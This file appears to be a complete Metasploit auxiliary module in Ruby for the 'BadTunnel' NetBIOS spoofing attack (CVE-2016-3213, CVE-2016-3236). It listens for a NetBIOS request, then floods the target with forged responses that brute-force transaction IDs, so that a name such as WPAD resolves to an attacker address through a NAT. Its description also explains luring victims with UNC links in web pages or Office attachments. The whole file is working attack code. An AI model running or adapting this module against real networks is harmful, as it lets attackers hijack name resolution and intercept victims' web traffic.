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require 'msf/core'
class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)',
'Description' => %q{
This module listens for a NetBIOS name request and then continuously spams
NetBIOS responses to a target for given hostname, causing the target to cache
a malicious address for this name. On high-speed networks, the PPSRATE value
should be increased to speed up this attack. As an example, a value of around
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
Distant targets may require more time and lower rates for a successful attack.
This module works when the target is behind a NAT gateway, since the stream of
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
trigger the initial NetBIOS request to the Metasploit system, force the target
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer,
Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way
that the proxy host (WPAD) host is identified, but do change the predictability
of NetBIOS requests.
},
'Author' => [
'vvalien',
'hdm',
'tombkeeper'
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' =>
[
['CVE', '2016-3213'],
['MSB', 'MS16-063'],
['CVE', '2016-3236'],
['MSB', 'MS16-077']
],
'DisclosureDate' => 'Jun 14 2016'
)
register_options(
[
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
], self.class)
end
def netbios_service
@port = datastore['SRVPORT'].to_i
::Socket.do_not_reverse_lookup = true
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind(datastore['SRVHOST'], @port)
@targ_rate = datastore['PPSRATE']
@fake_name = datastore['NBNAME']
@fake_addr = datastore['NBADDR']
print_status("Listening for NetBIOS requests...")
begin
loop do
packet, addr = @sock.recvfrom(65535)
next if packet.length == 0
@targ_addr = addr[3]
@targ_port = addr[1]
break
end
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
@sock.connect(@targ_addr, @targ_port)
netbios_spam
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error #{e.class} #{e} #{e.backtrace}")
ensure
@sock.close if @sock
end
end
def netbios_spam
payload =
"\xff\xff" +
"\x85\x00" +
"\x00\x00" +
"\x00\x01" +
"\x00\x00" +
"\x00\x00" +
"\x20" +
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
"\x00" +
"\x00\x20" +
"\x00\x01" +
"\x00\x04\x93\xe0" +
"\x00\x06" +
"\x00\x00" +
Rex::Socket.addr_aton(@fake_addr)
stime = Time.now.to_f
pcnt = 0
pps = 0
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
live = true
while live
0.upto(65535) do |txid|
begin
payload[0,2] = [txid].pack("n")
@sock.write(payload)
pcnt += 1
pps = (pcnt / (Time.now.to_f - stime)).to_i
if pps > @targ_rate
sleep(0.01)
end
rescue Errno::ECONNREFUSED
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
live = false
break
end
end
end
end
def run
loop { netbios_service }
end
end
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